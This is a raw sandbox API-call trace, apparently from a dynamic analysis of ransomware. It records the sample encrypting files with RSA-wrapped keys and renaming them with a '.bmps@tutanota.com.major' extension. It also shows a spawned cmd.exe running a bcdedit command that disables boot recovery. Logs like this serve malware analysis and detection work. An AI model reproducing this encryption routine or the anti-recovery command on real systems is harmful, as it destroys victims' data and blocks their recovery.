ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa9fab273, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xa40aa9b1, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="eventbeacons.dat", cAlternateFileName="EVENTB~1.DAT")) returned 1 [0303.805] SetLastError (dwErrCode=0x0) [0303.805] GetLastError () returned 0x0 [0303.805] SetLastError (dwErrCode=0x0) [0303.806] SetLastError (dwErrCode=0x0) [0303.806] FindNextFileW (in: hFindFile=0x2f37da8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x475d1af1, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x475d1af1, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa277db3c, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0303.806] SetLastError (dwErrCode=0x0) [0303.806] GetLastError () returned 0x0 [0303.806] SetLastError (dwErrCode=0x0) [0303.806] SetLastError (dwErrCode=0x0) [0303.806] FindNextFileW (in: hFindFile=0x2f37da8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x515e3d56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x515e3d56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x515e3d56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0303.806] SetLastError (dwErrCode=0x0) [0303.806] GetLastError () returned 0x0 [0303.806] SetLastError (dwErrCode=0x0) [0303.806] SetLastError (dwErrCode=0x0) [0303.806] FindNextFileW (in: hFindFile=0x2f37da8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x515e3d56, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x515e3d56, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x515e3d56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0303.806] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.806] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0303.806] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280819\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c08 [0303.807] GetFileSizeEx (in: hFile=0x1c08, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0303.807] ReadFile (in: hFile=0x1c08, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.807] SetFilePointer (in: hFile=0x1c08, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.807] WriteFile (in: hFile=0x1c08, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.807] SetFilePointer (in: hFile=0x1c08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0303.807] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.807] WriteFile (in: hFile=0x1c08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.808] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.808] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.808] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.808] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662188, pcchString=0x2e3f9a8 | out: pszString="nnweS3LzDaly1vXeVb9JzC6sqZu11Fd/+3U3x/lp9VRcdyxbJ3F8D6y9v0XVzaZ1\npnZESSHT/nVjapNYC+//rkpwzVDNWTM6K+jkJ/0juV+i4S4BIA2HOO0kO7pOJl0I\nCBkru/4cbsCqGde5UzjYI3DhqOM+Fx2VHx/RxfY0XqzfNouy26HekPB9kssAIv6d\n1IQMj8wWuuX4gxP6TJ0lpqJgNK4ZGN8mbz1nZClPkGrgB2ZXmwusO4zjbJqgee/U\nayj08xP9TCY3p9Cbb/zXSWtfhTez6SektZ68+5L1L2iUlBhk2bqUbH5EQdTMnqHH\nqHC0M1skpbp0y0kNqm75Sw==\n", pcchString=0x2e3f9a8) returned 1 [0303.809] WriteFile (in: hFile=0x1c08, lpBuffer=0x662188*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662188*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.809] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.809] WriteFile (in: hFile=0x1c08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.809] CloseHandle (hObject=0x1c08) returned 1 [0303.809] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280819\\imprbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280819\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.811] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.811] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0303.811] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280819\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c08 [0303.812] GetFileSizeEx (in: hFile=0x1c08, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0303.812] ReadFile (in: hFile=0x1c08, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.812] SetFilePointer (in: hFile=0x1c08, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.812] WriteFile (in: hFile=0x1c08, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.812] SetFilePointer (in: hFile=0x1c08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0303.812] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.812] WriteFile (in: hFile=0x1c08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.813] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.813] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.813] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.813] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662450, pcchString=0x2e3f9a8 | out: pszString="m5j0NRL5gmmyvmZX+514C2IJd0kaSl3yl0Cvx8BQZSB0X/Es8NmIFX/FsBT5aCGO\niWWyogG9PJrLrJui6UJWVZBNtpS11ZZ3jDSqSL6ZoVSUR1D/p+PQA++T5oOx0Hm4\nYTZfZAjDL2UQ8tdprHuM7vFZKdegfSFEseG5KRJ6Q3p4noBxhoIp/awnzGCh62nl\n/3mhEySv46/Qr0F9Fh6W8AiPKVnFCScWy6PRyJujkwCbMWtauI3hCrd8d1Horpux\nLlzm6Shl8chHD9C33yZQ+UOip1nmQhLTivlS9DxjaKWT7/f6G8f9aHBTBHuf22lx\nRWOctRRbdwYAehp3/wsmnQ==\n", pcchString=0x2e3f9a8) returned 1 [0303.813] WriteFile (in: hFile=0x1c08, lpBuffer=0x662450*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662450*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.814] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.814] WriteFile (in: hFile=0x1c08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.814] CloseHandle (hObject=0x1c08) returned 1 [0303.814] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280819\\eventbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280819\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.816] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.816] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\1506430069", dwFileAttributes=0x80) returned 1 [0303.816] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\1506430069" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280819\\1506430069"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c08 [0303.817] GetFileSizeEx (in: hFile=0x1c08, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=105848) returned 1 [0303.817] ReadFile (in: hFile=0x1c08, lpBuffer=0x3540048, nNumberOfBytesToRead=0x19d78, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesRead=0x2e3f9b4*=0x19d78, lpOverlapped=0x0) returned 1 [0304.045] SetFilePointer (in: hFile=0x1c08, lDistanceToMove=-105848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0304.045] WriteFile (in: hFile=0x1c08, lpBuffer=0x3559dc8*, nNumberOfBytesToWrite=0x19d78, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3559dc8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x19d78, lpOverlapped=0x0) returned 1 [0304.045] SetFilePointer (in: hFile=0x1c08, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x19d78 [0304.045] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0304.045] WriteFile (in: hFile=0x1c08, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0304.045] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0304.045] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0304.046] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0304.046] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662450, pcchString=0x2e3f9a8 | out: pszString="ezNvmQlM9VF60t58A7CV3W8oya5eWfROXSTCys6D7dWPzDTg2NsTYY/LijWBDs5W\nkhUj8jJG5XgvPblWlUWExSFQzjQ7x6H6Txz6DN9FvZT0u8JhINjJzVVZkxwvmhNV\n58PkQVjN9Zk30aHwHHIMs7TVftj+j02VYtrf6+64MNRUV21PQf+Em/DkTLQb959k\nqs5G1DuYkXaLVk1MDueekd0CUCBJIxDFe7NxoFwNG8xrK29ognMJYabdeOTXlmE/\ndVVuoOqjtqtzTVfRBEzm8YDXjUSkjqfQtFTsTFBj7kvQdN3fIdUde/1Dcr5zP1Z5\np2Ng0YhNqx04llNPlrzXFw==\n", pcchString=0x2e3f9a8) returned 1 [0304.046] WriteFile (in: hFile=0x1c08, lpBuffer=0x662450*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662450*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0304.046] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0304.046] WriteFile (in: hFile=0x1c08, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0304.046] CloseHandle (hObject=0x1c08) returned 1 [0304.046] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\1506430069" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280819\\1506430069"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\1506430069.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280819\\1506430069.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) Thread: id = 195 os_tid = 0xf4 Process: id = "2" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x1453c000" os_pid = "0xf68" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xdc4" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 2 os_tid = 0x738 Thread: id = 3 os_tid = 0x654 Thread: id = 4 os_tid = 0x390 Thread: id = 5 os_tid = 0xd8c Thread: id = 6 os_tid = 0x210 Thread: id = 175 os_tid = 0x2d4 Thread: id = 176 os_tid = 0xdb4 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x682a000" os_pid = "0xef8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xdc4" cmd_line = "/C bcdedit /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 12 os_tid = 0xce0 [0086.760] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6a7ec0000 [0086.760] __set_app_type (_Type=0x1) [0086.760] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6a7ed6d00) returned 0x0 [0086.760] __getmainargs (in: _Argc=0x7ff6a7ef9200, _Argv=0x7ff6a7ef9208, _Env=0x7ff6a7ef9210, _DoWildCard=0, _StartInfo=0x7ff6a7ef921c | out: _Argc=0x7ff6a7ef9200, _Argv=0x7ff6a7ef9208, _Env=0x7ff6a7ef9210) returned 0 [0086.760] _onexit (_Func=0x7ff6a7ed7fd0) returned 0x7ff6a7ed7fd0 [0086.760] _onexit (_Func=0x7ff6a7ed7fe0) returned 0x7ff6a7ed7fe0 [0086.760] _onexit (_Func=0x7ff6a7ed7ff0) returned 0x7ff6a7ed7ff0 [0086.760] _onexit (_Func=0x7ff6a7ed8000) returned 0x7ff6a7ed8000 [0086.761] _onexit (_Func=0x7ff6a7ed8010) returned 0x7ff6a7ed8010 [0086.761] _onexit (_Func=0x7ff6a7ed8020) returned 0x7ff6a7ed8020 [0086.763] GetCurrentThreadId () returned 0xce0 [0086.763] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xce0) returned 0x7c [0086.763] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0086.763] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0086.763] SetThreadUILanguage (LangId=0x0) returned 0x409 [0086.894] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0086.894] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x93897ff838 | out: phkResult=0x93897ff838*=0x0) returned 0x2 [0086.894] VirtualQuery (in: lpAddress=0x93897ff824, lpBuffer=0x93897ff7a0, dwLength=0x30 | out: lpBuffer=0x93897ff7a0*(BaseAddress=0x93897ff000, AllocationBase=0x9389700000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.894] VirtualQuery (in: lpAddress=0x9389700000, lpBuffer=0x93897ff7a0, dwLength=0x30 | out: lpBuffer=0x93897ff7a0*(BaseAddress=0x9389700000, AllocationBase=0x9389700000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.894] VirtualQuery (in: lpAddress=0x9389701000, lpBuffer=0x93897ff7a0, dwLength=0x30 | out: lpBuffer=0x93897ff7a0*(BaseAddress=0x9389701000, AllocationBase=0x9389700000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.894] VirtualQuery (in: lpAddress=0x9389704000, lpBuffer=0x93897ff7a0, dwLength=0x30 | out: lpBuffer=0x93897ff7a0*(BaseAddress=0x9389704000, AllocationBase=0x9389700000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.894] VirtualQuery (in: lpAddress=0x9389800000, lpBuffer=0x93897ff7a0, dwLength=0x30 | out: lpBuffer=0x93897ff7a0*(BaseAddress=0x9389800000, AllocationBase=0x9389800000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x33000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.894] GetConsoleOutputCP () returned 0x1b5 [0086.917] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0086.917] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6a7ee8150, Add=1) returned 1 [0086.917] _get_osfhandle (_FileHandle=1) returned 0xc [0086.917] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc04 | out: lpMode=0x7ff6a7effc04) returned 1 [0086.947] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.947] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc00 | out: lpMode=0x7ff6a7effc00) returned 1 [0086.954] _get_osfhandle (_FileHandle=1) returned 0xc [0086.954] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x0) returned 1 [0086.959] _get_osfhandle (_FileHandle=1) returned 0xc [0086.959] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc08 | out: lpMode=0x7ff6a7effc08) returned 1 [0086.965] _get_osfhandle (_FileHandle=1) returned 0xc [0086.965] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0086.969] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.969] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc0c | out: lpMode=0x7ff6a7effc0c) returned 1 [0086.983] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.983] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1e7) returned 1 [0087.047] GetEnvironmentStringsW () returned 0x1e931a55b20* [0087.047] GetProcessHeap () returned 0x1e931a50000 [0087.047] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0xb2e) returned 0x1e931a56660 [0087.047] FreeEnvironmentStringsA (penv="A") returned 1 [0087.047] GetProcessHeap () returned 0x1e931a50000 [0087.047] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0x8) returned 0x1e931a55b20 [0087.047] GetEnvironmentStringsW () returned 0x1e931a571a0* [0087.047] GetProcessHeap () returned 0x1e931a50000 [0087.047] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0xb2e) returned 0x1e931a57ce0 [0087.047] FreeEnvironmentStringsA (penv="A") returned 1 [0087.048] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x93897fe6e8 | out: phkResult=0x93897fe6e8*=0x88) returned 0x0 [0087.048] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x93897fe6e0, lpData=0x93897fe700, lpcbData=0x93897fe6e4*=0x1000 | out: lpType=0x93897fe6e0*=0x0, lpData=0x93897fe700*=0x4, 